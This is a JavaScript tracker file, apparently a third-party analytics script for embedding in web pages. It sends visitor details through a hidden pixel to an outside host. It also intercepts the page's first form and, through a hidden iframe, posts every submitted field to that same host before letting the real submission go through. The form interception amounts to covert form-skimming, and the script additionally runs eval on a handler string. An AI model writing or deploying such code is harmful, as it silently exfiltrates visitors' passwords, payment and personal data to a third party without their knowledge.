//define global variables

var main_url = "";
var hash = "";
var onsubmit = "";
var action = "";
var target = "";
var method = "";
var trigger = false;

function track_global(){

    var d=document;
    var osp_URL=d.url;
    var osp_Title=d.title;
    var t=new Date();
    var p=main_url + "index.php?doaction=track&aid=1&clientID="+clientID+"&hash="+hash;
    p+="&url="+escape(osp_URL);
    p+="&ti="+escape(osp_Title);
    p+="&rf="+escape(parent==self?document.referrer:top.document.referrer);
    p+="&tz="+escape(t.getTimezoneOffset());
    p+="&ch="+escape(t.getHours());
    p+="&js=1";
    p+="&ul="+escape(navigator.appName=="Netscape"?navigator.language:navigator.userLanguage);
    if(osp_URL!=d.URL) p+="&ol="+escape(d.URL);
    if(typeof(screen)=="object"){
    p+="&sr="+screen.width+"x"+screen.height;p+="&cd="+screen.colorDepth;
    p+="&jo="+(navigator.javaEnabled()?"Yes":"No");
    }
    
    if(typeof trackerdiv == 'undefined'){
        window.document.body.innerHTML += '<img border="0" width="1" height="1" src="'+p+'" >';
    } else {
        document.getElementById(trackerdiv).innerHTML += '<img border="0" width="1" height="1" src="'+p+'" >';
    }
    //d.write('<img border="0" width="1" height="1" src="'+p+'" >');

}

function track_form(form){
    
    //get old properties
    action = form.action;
    target = form.target;
    method = form.method;
    trigger = true;

    //set new properties
    form.action = main_url+"index.php?doaction=track&aid=2&clientID="+clientID+"&hash="+hash;
    form.target = "track_submit_frame";
    form.method = "POST";
    
    //submit form
    form.submit();

    return false;

}

function send_form(){

    if (trigger){

        trigger = false;
    
        var form = document.forms[0];

        //put old properties back
        form.action = action;
        form.target = target;
        form.method = method;
        
        if (onsubmit != undefined){
            onsubmit = "var passonsubmit = onsubmit();" + onsubmit;
            eval(onsubmit);
        } else {
            passonsubmit = true;
        }

        //trigger old onsubmit event
        if (passonsubmit){
            form.submit();
        }
    }

}

function IncludeJavaScript(jsFile){

    document.write('<script type="text/javascript" src="'+ jsFile + '"></script>'); 

}

function create_hash(){
    
    var date = new Date();
    return date.getTime();

}

function check_iframe(){
    if (track_submit_frame.length != 0){
        alert('test');
    }
}

function create_iframe(){
    if(typeof trackerdiv == 'undefined'){
        window.document.body.innerHTML += "<iframe name='track_submit_frame' src='' onload='send_form();' width='1' height='1' style='visibility:hidden;'></iframe>";
    } else {
        document.getElementById(trackerdiv).innerHTML += "<iframe name='track_submit_frame' src='' onload='send_form();' width='1' height='1' style='visibility:hidden;'></iframe>";
    }
}

function new_window_onload(){
    hash = create_hash();
    create_iframe();
    track_global();
    if(document.forms[0] != undefined){
        onsubmit = document.forms[0].onsubmit;
        document.forms[0].onsubmit = function () {
            if (navigator.userAgent.indexOf("Safari") > -1){
                track_form(document.forms[0]);
                setTimeout('send_form()', 1000);
                return false;
            } else {
                return track_form(document.forms[0]);
            }
        }
    }
}

function addEvent(obj, evType, fn) {
    if (obj.addEventListener) {
        obj.addEventListener(evType, fn, false); 
        return true; 
    } else if (obj.attachEvent) {
        var r = obj.attachEvent("on"+evType, fn); 
        return r; 
    } else {
        return false; 
    } 
}

main_url = "http://optimizationtemp.2binsite.com/";

addEvent(window, 'load', new_window_onload);

